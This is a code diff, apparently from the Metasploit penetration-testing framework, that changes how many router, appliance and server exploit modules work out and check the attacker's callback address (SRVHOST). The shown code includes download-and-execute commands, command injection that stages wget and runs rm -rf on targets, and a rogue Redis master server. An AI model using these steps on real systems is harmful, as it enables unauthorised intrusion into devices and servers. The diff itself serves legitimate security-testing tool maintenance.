datastore['AGENT'] fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required') end + fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 @xss_response_received = false diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb index 241ce0d44a9b9..e7cd52ca33789 100644 --- a/modules/exploits/linux/http/craftcms_ftp_template.rb +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -189,7 +189,7 @@ def check def trigger_http_request vprint_status('Triggering HTTP request...') - templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" send_request_raw( 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", 'method' => 'GET' @@ -212,7 +212,7 @@ def start_ftp_service def exploit vprint_status('Starting FTP service...') start_ftp_service - vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}") + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") vprint_status('Sending HTTP request to trigger the payload...') trigger_http_request end diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 9cc3ab323e980..1e222150cdc9e 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -125,9 +125,18 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -137,6 +146,7 @@ def exploit }, 'ssl' => false # do not use SSL }) + end # diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index bb54c8bb9a668..7afd0a0acd55e 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -159,8 +159,15 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index 45abb16b2431c..b193f29be95ea 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -97,7 +97,7 @@ def initialize(info = {}) [ Opt::RPORT(80), OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']), - OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']), + OptAddress.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']), OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), @@ -262,8 +262,14 @@ def exploit @elf_sent = false resource_uri = '/' + downfile - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{peer} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb index ebf3d30e6c4a5..aeffec0faf16d 100644 --- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -469,10 +469,12 @@ def on_request_uri(cli, _request) # def download_and_run_payload(payload_uri) srv_host = - if datastore['DOWNHOST'].present? + if datastore['DOWNHOST'] datastore['DOWNHOST'] + elsif datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' + Rex::Socket.source_address(rhost) else - srvhost_addr + datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s diff --git a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb index 06a63bee6cfad..cbf30eaa3ecac 100644 --- a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb +++ b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb @@ -76,7 +76,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(443), - OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), + OptAddress.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), OptString.new('SRVPORT', [true, 'HTTP server port', '4448']), ] ) @@ -146,10 +146,16 @@ def exploit @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) - http_service = (datastore['SSL'] ? 'https://' : 'http://') + srvhost_addr + ':' + datastore['SRVPORT'].to_s + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s service_uri = http_service + '/' + @payload_name - print_status("#{peer} - Starting up our web service...") + print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 9dddf84505241..b8a4d68afc292 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -155,8 +155,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 2a2b5f9216210..095075cc20b48 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -306,8 +306,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb index 93f16fdec8b3f..6b33b4600e49d 100644 --- a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb +++ b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb @@ -214,7 +214,7 @@ def send_path(path) xml += "" - xml += " %#{system_entity}; %#{@xxe_param}; " + xml += " %#{system_entity}; %#{@xxe_param}; " xml += ']' xml += "> &#{@xxe_exfil};" @@ -558,6 +558,10 @@ def setup_module @info = Hash.new @module_setup_complete = true + if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end + start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -605,7 +609,7 @@ def on_request_uri(cli, req) data = Rex::Text.rand_text_alpha_lower(4..8) response = " -\">" +\">" send_response(cli, response) when @url_data @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, ''))) diff --git a/modules/exploits/linux/http/nagios_xi_magpie_debug.rb b/modules/exploits/linux/http/nagios_xi_magpie_debug.rb index bef562a023bca..8b20cf3deb324 100644 --- a/modules/exploits/linux/http/nagios_xi_magpie_debug.rb +++ b/modules/exploits/linux/http/nagios_xi_magpie_debug.rb @@ -58,7 +58,7 @@ def initialize(info = {}) ) register_options([ - OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']), + OptAddress.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']), OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ]) diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 32c396ccb9979..245a8035a7890 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -160,8 +160,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index ab6cd387edc80..332a79278b470 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -273,8 +273,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb index 2bd87d3e7d566..67fb593076ec7 100644 --- a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb +++ b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb @@ -167,11 +167,15 @@ def minimal_gguf(arch = 'llama') def start_registry start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } }) - print_status("Rogue OCI registry on #{Rex::Socket.to_authority(bindhost, bindport)}") + print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}") + end + + def srvhost_addr + datastore['SRVHOST'] end def registry_model_name(namespace) - "#{srvhost_addr}:#{srvport}/#{namespace}/model" + "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model" end def on_request_uri(cli, request) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index ea0744b89b795..8e8266aa99d00 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -90,7 +90,11 @@ def check end def exploit - url = 'http://' + Rex::Socket.to_authority(srvhost_addr, srvport) + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s @shell_name = Rex::Text.rand_text_alpha(15) stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' @@ -163,9 +167,7 @@ def on_request_shell(cli, _request) end def on_request_stager(cli, _request) - url = get_uri(cli) - url << '/' unless url.end_with?('/') - url << @shell_name + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name stager = " { - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, cookie, token) - end, - 'Path' => '/' - } - }) + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end - print_status('Cleaning env') - inject_request(cookie, token, 'rm -rf /a') - inject_request(cookie, token, 'rm -rf b') - command = "#{srvhost_addr}:#{srvport}".split(//) - command_space = 22 - "echo -n ''>>/a".length - command_space -= 1 - command.each_slice(command_space) do |a| - a = a.join('') - vprint_status("Staging wget with: echo -n '#{a}'>>/a") - inject_request(cookie, token, "echo -n '#{a}'>>/a") + begin + print_status('Attempting Login') + cookie, token = login + + start_service({ + 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, cookie, token) + end, + 'Path' => '/' + } + }) + + print_status('Cleaning env') + inject_request(cookie, token, 'rm -rf /a') + inject_request(cookie, token, 'rm -rf b') + command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) + command_space = 22 - "echo -n ''>>/a".length + command_space -= 1 + command.each_slice(command_space) do |a| + a = a.join('') + vprint_status("Staging wget with: echo -n '#{a}'>>/a") + inject_request(cookie, token, "echo -n '#{a}'>>/a") + end + print_status('Requesting payload pull') + register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') + register_file_for_cleanup('/a') + inject_request(cookie, token, 'wget -i /a -O b') + # at this point we let the HTTP server call the last stage + # wfsdelay should be long enough to hold out for everything to download and run + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end - print_status('Requesting payload pull') - register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') - register_file_for_cleanup('/a') - inject_request(cookie, token, 'wget -i /a -O b') - # at this point we let the HTTP server call the last stage - # wfsdelay should be long enough to hold out for everything to download and run - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end diff --git a/modules/exploits/linux/http/vmware_vrli_rce.rb b/modules/exploits/linux/http/vmware_vrli_rce.rb index fd70f3c41e2ea..7d1ad86adde8b 100644 --- a/modules/exploits/linux/http/vmware_vrli_rce.rb +++ b/modules/exploits/linux/http/vmware_vrli_rce.rb @@ -246,6 +246,9 @@ def on_request_uri(cli, _request) end def exploit + # This is an important check... + fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ + # Step 1 generate malicious TAR archive file_name = Rex::Text.rand_text_alpha(7) pak_name = "#{file_name}.pak" @@ -280,7 +283,7 @@ def exploit thrift_client.call('getNodeType', Rex::Proto::Thrift::ThriftData.stop) # Step 3 download the malicious pak - server_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{file_name}.tar" + server_url = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" print_status 'Sending RemotePakDownloadCommand...' thrift_client.call( 'runCommand', diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index c33cec270b437..b730e8c4c0536 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePbx + include Msf::Exploit::Remote::HTTP::CompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb index 494de025bcf69..d72adb47d83d1 100644 --- a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb +++ b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb @@ -85,7 +85,7 @@ def build_discover_packet(hn, user, inf, func) def discover server_sock = Rex::Socket::Udp.create( - 'LocalHost' => srvhost, + 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Context' => { 'Msf' => framework, diff --git a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb index c13ff29bdf411..8ceabcf6e80b8 100644 --- a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb @@ -63,7 +63,7 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), Opt::RPORT('8080'), - OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]), + OptAddressLocal.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]), OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ]) ]) @@ -186,7 +186,7 @@ def exploit uuid = SecureRandom.uuid ldap_port = datastore["SRVPORT"] - ldap_host = srvhost + ldap_host = datastore["SRVHOST"] ldap_external_host = datastore["LDAPHOST"] command = payload.encoded diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index ddaf2cee562a9..45a9d1fc6b8c9 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -84,8 +84,15 @@ def exec_command(cmd) def wget_payload resource_uri = '/' + @dropped_elf - service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri - vprint_status("#{peer} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) diff --git a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb index b537a18325ec8..caf84230f81cd 100644 --- a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb +++ b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb @@ -336,8 +336,12 @@ def on_request_uri(cli, _request) end def exploit + if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::') + fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") + end + if datastore['SSL'] - fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it.') + fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it') end print_status("Attempting to exploit #{target.name}") @@ -352,24 +356,25 @@ def exploit [rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value [0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder + srv_host = datastore['SRVHOST'] + srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe - resource_uri = "/#{payload_file}" - # Command that will download @payload_exe and execute it - download_cmd = "wget http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri};chmod +x #{payload_file};.#{resource_uri}" + download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + http_service = "http://#{srv_host}:#{srv_port}" + print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, - 'Path' => resource_uri + 'Path' => "/#{payload_file}" } }) diff --git a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb index 615a43e1daf36..a1252ea962711 100644 --- a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb +++ b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb @@ -129,8 +129,14 @@ def send_exploit(exploit_url) end def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") + end + print_status("Attempting to exploit #{target.name}") + srv_host = datastore['SRVHOST'] + srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) @@ -143,10 +149,10 @@ def exploit # https:// can't be a substring as the zyxel parser won't be able to understand the URI download_cmd += '-k${IFS}https:`echo${IFS}//`' end - http_service = Rex::Socket.to_authority(srvhost_addr, srvport).to_s - download_cmd += "#{http_service}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};" + download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...") + http_service = "#{srv_host}:#{srv_port}" + print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb index 0f8c2fdd1099c..1a90166e6ad27 100644 --- a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb +++ b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb @@ -111,6 +111,10 @@ def exploit @module_cmd = 'shell.exec' end + if srvhost == '0.0.0.0' + fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.') + end + # # Prepare for payload. # @@ -130,7 +134,7 @@ def exploit # # Send the payload. # - redis_command('SLAVEOF', srvhost_addr, srvport.to_s) + redis_command('SLAVEOF', srvhost, srvport.to_s) redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s) ::IO.select(nil, nil, nil, 2.0) @@ -158,8 +162,14 @@ def exploit # We pretend to be a real redis server, and then slave the victim. # def start_rogue_server - socket = Rex::Socket::TcpServer.create({ 'LocalHost' => bindhost, 'LocalPort' => bindport }) - print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}") + begin + socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport }) + print_status("Listening on #{srvhost}:#{srvport}") + rescue Rex::BindFailed + print_warning("Handler failed to bind to #{srvhost}:#{srvport}") + print_status("Listening on 0.0.0.0:#{srvport}") + socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport }) + end rsock = socket.accept vprint_status('Accepted a connection') diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index d78eeda1a4fea..46d2f7d037d19 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -111,14 +111,23 @@ def exploit if (datastore['DOWNHOST']) service_url_payload = datastore['DOWNHOST'] + resource_uri else + # Needs to be on the port 80 if datastore['SRVPORT'].to_i != 80 fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80') end - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - service_url_payload = srvhost_addr + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb index 87c0f2587e84b..8ced4df1fd0e1 100644 --- a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb +++ b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb @@ -200,8 +200,15 @@ def trigger_urlclassloader cf_url = Rex::Text.rand_text_alpha_lower(4) + srvhost = datastore['SRVHOST'] + + # Ensure SRVHOST is a routable IP address to our RHOST. + if Rex::Socket.addr_atoi(srvhost) == 0 + srvhost = Rex::Socket.source_address(rhost) + end + # Create a URL pointing back to our HTTP server. - cfc_payload = "" + cfc_payload = "" cf_reflectarray = Rex::Text.rand_text_alpha_lower(4) diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index c1a767ec3664a..47828f6b42960 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -142,9 +142,15 @@ def start_http_server @elf_sent = false downfile = rand_text_alpha(8 + rand(8)) resource_uri = "\\x2f#{downfile}" + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end - @service_url = "http:\\x2f\\x2f#{Rex::Socket.to_authority(srvhost_addr, 